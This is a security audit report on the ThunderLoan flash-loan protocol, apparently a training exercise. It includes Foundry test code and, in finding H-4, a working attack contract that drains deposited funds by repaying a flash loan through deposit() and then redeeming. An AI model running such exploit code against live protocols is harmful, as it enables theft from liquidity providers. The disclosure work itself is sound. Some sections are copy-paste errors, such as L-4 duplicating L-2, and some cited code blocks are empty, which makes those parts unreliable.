GRATIA DEI ET CONTENTIONE VOLUNTATIS
EXCELLENTIAM VIRTUTIS ADIPISCIMUR

Protocol Audit Report

Version 1.0

BLaeir

March 6, 2024

Thunder Loan Security Report

BLaeir

March 6, 2024

Prepared by: BLaeir Lead Auditors: - BLaeir

Table of Contents

    * [H-4] Malicious user can drain funds by using a flashloan then calling `thunderLoan::deposit` instead of the `thunderLoan::repay` function
  - Medium
    * [M-1] Centralization Risk for trusted owners
    * [M-2] Using TSwap as price oracle can lead to price and oracle manipulation attacks
    * [M-3] `ThunderLoan::transferUnderlyingTo` can have liquidty providers collateral unredeemable
  - Low
    * [L-1] The `ThunderLoan::initialize` initializer can be frontrun by anyone.
    * [L-2] `ThunderLoan::repay` prevents a user in a flashloan from repaying their flashloan
    * [L-3] Missing critical event emissions
    * [L-4] Using `ERC721::_mint()` can be dangerous
    * [L-5] PUSH0 is not supported by all chains
    * [L-6] Conditional storage checks are not consistent
  - Informational (Private audit)

Protocol Summary

The ThunderLoan protocol is meant to do the following:

Give users a way to create flash loans Give liquidity providers a way to earn money off their capital Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. These AssetTokens gain interest over time depending on how often people take out flash loans.

Disclaimer

The YOUR_NAME_HERE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6
- In Scope:

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI
  - LINK
  - WETH

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

Noice code mate

Issues found

Severity	Number of issues found
High	4
Medium	3
Low	6
Info	-
Total	13

Findings

High

[H-1] Mixing up variable location in storage causes collision between `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing the protocol

Description: `ThunderLoan.sol` has two variables in the following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the upgraded `ThunderLoanUpgraded.sol` contract have them in a different order

```
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. You can't rearrange storage variables without messing up the storage, and remove storage variables for constant variables, breaks the storage locations as well.

Impact: After the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. More importantly, the `s_currentlyFlashLoaning` mapping with storage in the wrong storage slot

Proof of Concept:

Proof Of Code

Place the following test into the `ThunderLoanTest.t.sol`

```
import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/ThunderLoanUpgraded.sol";
.
.
.
function testStorageUpgradeBreak() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.prank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");
        uint256 feeAfterUpgrade = thunderLoan.getFee();
        vm.stopPrank();

        console2.log("Fee before upgrade: ", feeBeforeUpgrade);
        console2.log("Fee after upgrade: ", feeAfterUpgrade);

        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: If you must remove the storage variable, leave it as blank as to not mess up the storage slots.

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee; // 0.3% ETH fee
+    uint256 public constant FEE_PRECISION = 1e18;
```

[H-2] Miscalculation in `ThunderLoan::updateExchangeRate` in the `deposit` function which causes the protocol to update the fees to more than expected causing users not being able to redeem their tokens becasue of the wrong exchange rate.

Description: In the `ThunderLoan::deposit` the `updateExchangeRate` & `exchangeRate` is responsible for calculating the exchange rate between assetTokens and the underlyingTokens. It's role is to basically keep track of the fees to give the liquidity providers. The problem is that the `deposit` function updates the rate without collecting any fees.

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

@>      uint256 calculatedFee = getCalculatedFee(token, amount);
@>      assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

Impact: Either option below 1. The `updateExchangeRate` value being wrong and the protocol users not being able to use the `redeem` on their tokens 2. The rewards are not correclty calculated resulting in liquidity providers getting more or less than deserved.

Proof of Concept:

1. LP deposits
2. User tkaes out a flash loan
3. It is now impossible for LP to redeem

Proof Of Code

Place the following into `ThunderLoanTest.t.sol`

```
function testRedeem() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA, amountToBorrow, "");
        vm.stopPrank();

        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
    }
```

Recommended Mitigation: Consider making the following changes to the deposit function.

```
-    uint256 calculatedFee = getCalculatedFee(token, amount);
-    assetToken.updateExchangeRate(calculatedFee);
```

[H-3] The fees are less for non ERC20 Tokens

Description: The fee calculation in both ThunderLoan::getCalculatedFee and ThunderLoanUpgraded::getCalculatedFee is done in the currency of the token being borrowed but the fee is in Weth.

ThunderLoan.sol

```
function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) {
        //slither-disable-next-line divide-before-multiply
@>      uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision;
        //slither-disable-next-line divide-before-multiply
@>      fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
    }
```

ThunderLoanUpgraded.sol

```
function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) {
        //slither-disable-next-line divide-before-multiply
@>      uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / FEE_PRECISION;
        //slither-disable-next-line divide-before-multiply
@>      fee = (valueOfBorrowedToken * s_flashLoanFee) / FEE_PRECISION;
    }
```

Impact:

Example: 1. User_1 request a flashloan using 1 ETH. 2. User_2 request a flashloan using 2000 USDT.

```
function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) {

        //1 ETH = 1e18 WEI
        //2000 USDT = 2 * 1e9 WEI

        uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision;

        // valueOfBorrowedToken ETH = 1e18 * 1e18 / 1e18 WEI
        // valueOfBorrowedToken USDT= 2 * 1e9 * 1e18 / 1e18 WEI

        fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;

        //fee ETH = 1e18 * 3e15 / 1e18 = 3e15 WEI = 0,003 ETH
        //fee USDT: 2 * 1e9 * 3e15 / 1e18 = 6e6 WEI = 0,000000000006 ETH
    }
```

The User_2 fees are way cheaper than User_1 although they provide the same value in collateral (1 ETH = 2000 USDT)

Recommended Mitigation: Adjust the precision accordinly with the allowed tokens considering that the non standard ERC20 haven't 18 decimals.

[H-4] Malicious user can drain funds by using a flashloan then calling `thunderLoan::deposit` instead of the `thunderLoan::repay` function

Description: The `flashloan()` performs a crucial balance check to ensure that the ending balance, after the flash loan exceeds the initial balance, including borrower fees. This is verified by comparing the `endingBalance` with `startingBalance + fee`. However, an exploit is presented when calculating `endingBalance` using `token.balanceOf(address(assetToken))`.

Exploiting this would be as easy as using `deposit()` to return the flash loan instead of `repay()`. This allows the attackcer to mint `AssetToken` to then redeem it using `redeem()`.What makes this possible is the apparent increase in the Asset contract's balance, although it resulted from the use of the incorrect function. Resulting in the flash loan not triggering the revert.

Impact: AssetContract being drained of all funds

Proof of Concept:

Proof Of Code

Place the following test and attack contract into `ThunderLoanTest.t.sol`

```
function testDepositMethodInsteadOfRepayMethod() public setAllowedToken hasDeposits {
        vm.startPrank(user);
        uint256 amountToBorrow = 50e18;
        uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
```

```
       DepositInsteadOfRepay dor = new DepositInsteadOfRepay(address(thunderLoan));
       tokenA.mint(address(dor), fee);
       thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
         dor.redeemMoney();
         vm.stopPrank();
         assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
    }
```

```
contract DepositInsteadOfRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

        function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        IERC20(token).approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);
        return true;
    }

    function redeemMoney() public {
        uint256 amount = assetToken.balanceOf(address(this));
        thunderLoan.redeem(s_token, amount);
    }
}
```

Recommended Mitigation: Add a check to `deposit()` to make it impossible to use in the same block of the flash loan. For example registring the block.number in a variable in `flashloan()` and checking it in `deposit()`.

Medium

[M-1] Centralization Risk for trusted owners

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

- Found in src/protocol/ThunderLoan.sol Line: 302

  ```
          return address(s_tokenToAssetToken[token]) != address(0);
  ```

- Found in src/protocol/ThunderLoan.sol Line: 323

  ```
  ```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 283

  ```
      function getFee() external view returns (uint256) {
  ```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 289

  ```
  ```

[M-2] Using TSwap as price oracle can lead to price and oracle manipulation attacks

Description: The TSwap protocol is constant product formula based AMM. The price of a token is based on how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction ignoring the protocol fees

Impact: Liquidity providers will barely pay any fees when providing liquidity.

Proof of Concept:

The steps below is 1 transaction

1. User takes a flash loan `ThunderLoan` for 1000 `tokenA`. They are charged the originial `fee1`. During the loan, they then:
   1. User sells 1000 `tokenA` which tanks the price
   2. Instead of repaying straight after, the user then takes another flash loan of 1000 `tokenA`.
      1. The way `ThunderLoan` calculates price based on the `TSwapPool` the second flash loan is way cheaper.

   ```
   function getPriceInWeth(address token) public view returns (uint256) {
   ```

```
  address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
@>      return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
}
```

3. The user then repays the first flash loan and then repays the seocnd one ignoring the fees

The PoC of this is in the `audit-data` folder becasue of how large it is.

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle

[M-3] `ThunderLoan::transferUnderlyingTo` can have liquidty providers collateral unredeemable

Description: If the owner were to rmeove an allowed token, this deletes the mapping for that ERC20. If that is done and the liquidity provider has already deposited with that ERC20, the liquidity provider won't be able to redeem their funds via `ThunderLoan::redeem`

```
function setAllowedToken(IERC20 token, bool allowed) external onlyOwner returns (AssetToken) {
        if (allowed) {
            if (address(s_tokenToAssetToken[token]) != address(0)) {
                revert ThunderLoan__AlreadyAllowed();
            }
            string memory name = string.concat("ThunderLoan ", IERC20Metadata(address(token)).name());
            string memory symbol = string.concat("tl", IERC20Metadata(address(token)).symbol());
            AssetToken assetToken = new AssetToken(address(this), token, name, symbol);
            s_tokenToAssetToken[token] = assetToken;
            emit AllowedTokenSet(token, assetToken, allowed);
            return assetToken;
        } else {
            AssetToken assetToken = s_tokenToAssetToken[token];
@>          delete s_tokenToAssetToken[token];
            emit AllowedTokenSet(token, assetToken, allowed);
            return assetToken;
        }
    }
```

```
function redeem(
        IERC20 token,
        uint256 amountOfAssetToken
    )
        external
        revertIfZero(amountOfAssetToken)
@>      revertIfNotAllowedToken(token)
    {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        if (amountOfAssetToken == type(uint256).max) {
            amountOfAssetToken = assetToken.balanceOf(msg.sender);
        }
        uint256 amountUnderlying = (amountOfAssetToken * exchangeRate)
           / assetToken.EXCHANGE_RATE_PRECISION();
        emit Redeemed(msg.sender, token, amountOfAssetToken,
           amountUnderlying);
        assetToken.burn(msg.sender, amountOfAssetToken);
        assetToken.transferUnderlyingTo(msg.sender, amountUnderlying);
    }
```

Impact: Liquidity provider not being able to redeem funds and having ThunderLoan__NotAllowedToken error proves this with the test below:

```
function testCannotRedeemNonAllowedTokenAfterDepositingToken() public {
        vm.prank(thunderLoan.owner());
        AssetToken assetToken = thunderLoan.setAllowedToken(tokenA,
           true);

        tokenA.mint(liquidityProvider, AMOUNT);
        vm.startPrank(liquidityProvider);
        tokenA.approve(address(thunderLoan), AMOUNT);
        thunderLoan.deposit(tokenA, AMOUNT);
        vm.stopPrank();

        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, false);

        vm.expectRevert(abi.encodeWithSelector(ThunderLoan.
           ThunderLoan__NotAllowedToken.selector, address(tokenA)));
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, AMOUNT);
        vm.stopPrank();
    }
```

Recommended Mitigation: Adding a check making sure the assetToken doens't have a balance at the time of removal, if so the mapping can't be removed.

Low

[L-1] The `ThunderLoan::initialize` initializer can be frontrun by anyone.

Description: Initializer can be frontrun by an attacker that can claim ownership or set their own values to the contract, forcing re-deployment of the contract.

```
function __Oracle_init(address poolFactoryAddress) internal onlyInitializing {
        __Oracle_init_unchained(poolFactoryAddress);
    }
```

```
function initialize(address tswapAddress) external initializer {
        __Ownable_init(msg.sender);
        __UUPSUpgradeable_init();
        __Oracle_init(tswapAddress);
```

Recommended Mitigation: Adding access control that allows only the owner to initialize

[L-2] `ThunderLoan::repay` prevents a user in a flashloan from repaying their flashloan

Description: Can't use repay to repay a flashloan inside of another flashloan

```
function repay(IERC20 token, uint256 amount) public {
@>      if (!s_currentlyFlashLoaning[token]) {
@>          revert ThunderLoan__NotCurrentlyFlashLoaning();
        }
        AssetToken assetToken = s_tokenToAssetToken[token];
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

Impact: Prevents users from repaying a flashloan during another ongoing flashloan transaction. Essentially, if you're trying to use the `repay` function to settle a flashloan while you are within the context of another flashloan operation, the system will block this action. This limitation could affect strategies that rely on nested flashloan operations, where one flashloan is obtained within the lifecycle of another.

Proof of Concept: (Do in competition)

Recommended Mitigation: Depends on what protocol wants their userbase to be able to do.

[L-3] Missing critical event emissions

Description: When the `ThunderLoan::updateFlashLoanFee` is used to update the fee it isn't emitting the event.

Recommended Mitigation: Emit and event when the `ThunderLoan::updateFlashLoanFee` have been updated.

```
+       event FlashLoanFeeUpdated(uint256 newFee);
.
.
.
function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+       emit FlashLoanFeeUpdated(newFee)
}
```

[L-4] Using `ERC721::_mint()` can be dangerous

Using `ERC721::_mint()` can mint ERC721 tokens to addresses which don't support ERC721 tokens. Use `_safeMint()` instead of `_mint()` for ERC721.

- Found in src/protocol/AssetToken.sol Line: 69

  ```
          _mint(to, amount);
  ```

Description: Can't use repay to repay a flashloan inside of another flashloan

```
function repay(IERC20 token, uint256 amount) public {
@>      if (!s_currentlyFlashLoaning[token]) {
@>          revert ThunderLoan__NotCurrentlyFlashLoaning();
        }
        AssetToken assetToken = s_tokenToAssetToken[token];
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

Impact: Prevents users from repaying a flashloan during another ongoing flashloan transaction. Essentially, if you're trying to use the `repay` function to settle a flashloan while you are within the context of another flashloan operation, the system will block this action. This limitation could affect strategies that rely on nested flashloan operations, where one flashloan is obtained within the lifecycle of another.

Proof of Concept: (Do in competition)

Recommended Mitigation: Depends on what protocol wants their userbase to be able to do.

[L-5] PUSH0 is not supported by all chains

Solc compiler version 0.8.20 switches the default target EVM version to Shanghai, which means that the generated bytecode will include PUSH0 opcodes. Be sure to select the appropriate EVM version in case you intend to deploy on a chain other than mainnet like L2 chains that may not support PUSH0, otherwise deployment of your contracts will fail.

- Found in src/interfaces/IFlashLoanReceiver.sol Line: 2

  ```
  pragma solidity 0.8.20;
  ```

- Found in src/interfaces/IPoolFactory.sol Line: 2

  ```
  pragma solidity 0.8.20;
  ```

- Found in src/interfaces/ITSwapPool.sol Line: 2

  ```
  pragma solidity 0.8.20;
  ```

- Found in src/interfaces/IThunderLoan.sol Line: 2

  ```
  pragma solidity 0.8.20;
  ```

- Found in src/protocol/AssetToken.sol Line: 2

  ```
  pragma solidity 0.8.20;
  ```

- Found in src/protocol/OracleUpgradeable.sol Line: 2

  ```
  pragma solidity 0.8.20;
  ```

- Found in src/protocol/ThunderLoan.sol Line: 98

  ```
      uint256 private s_flashLoanFee; // 0.3% ETH fee
  ```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 97

  ```
      uint256 private s_flashLoanFee; // 0.3% ETH fee
  ```

[L-6] Conditional storage checks are not consistent

When writing `require` or `if` conditionals that check storage values, it is important to be consistent to prevent off-by-one errors. There are instances found where the same storage variable is checked multiple times, but the conditionals are not consistent.

- Found in src/protocol/AssetToken.sol Line: 89

```
        uint256 newExchangeRate = s_exchangeRate * (totalSupply()
            + fee) / totalSupply();
```

- Found in src/protocol/AssetToken.sol Line: 91

```
        if (newExchangeRate <= s_exchangeRate) {
```

- Found in src/protocol/ThunderLoan.sol Line: 294

```
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 289

```
```

Informational (Private audit)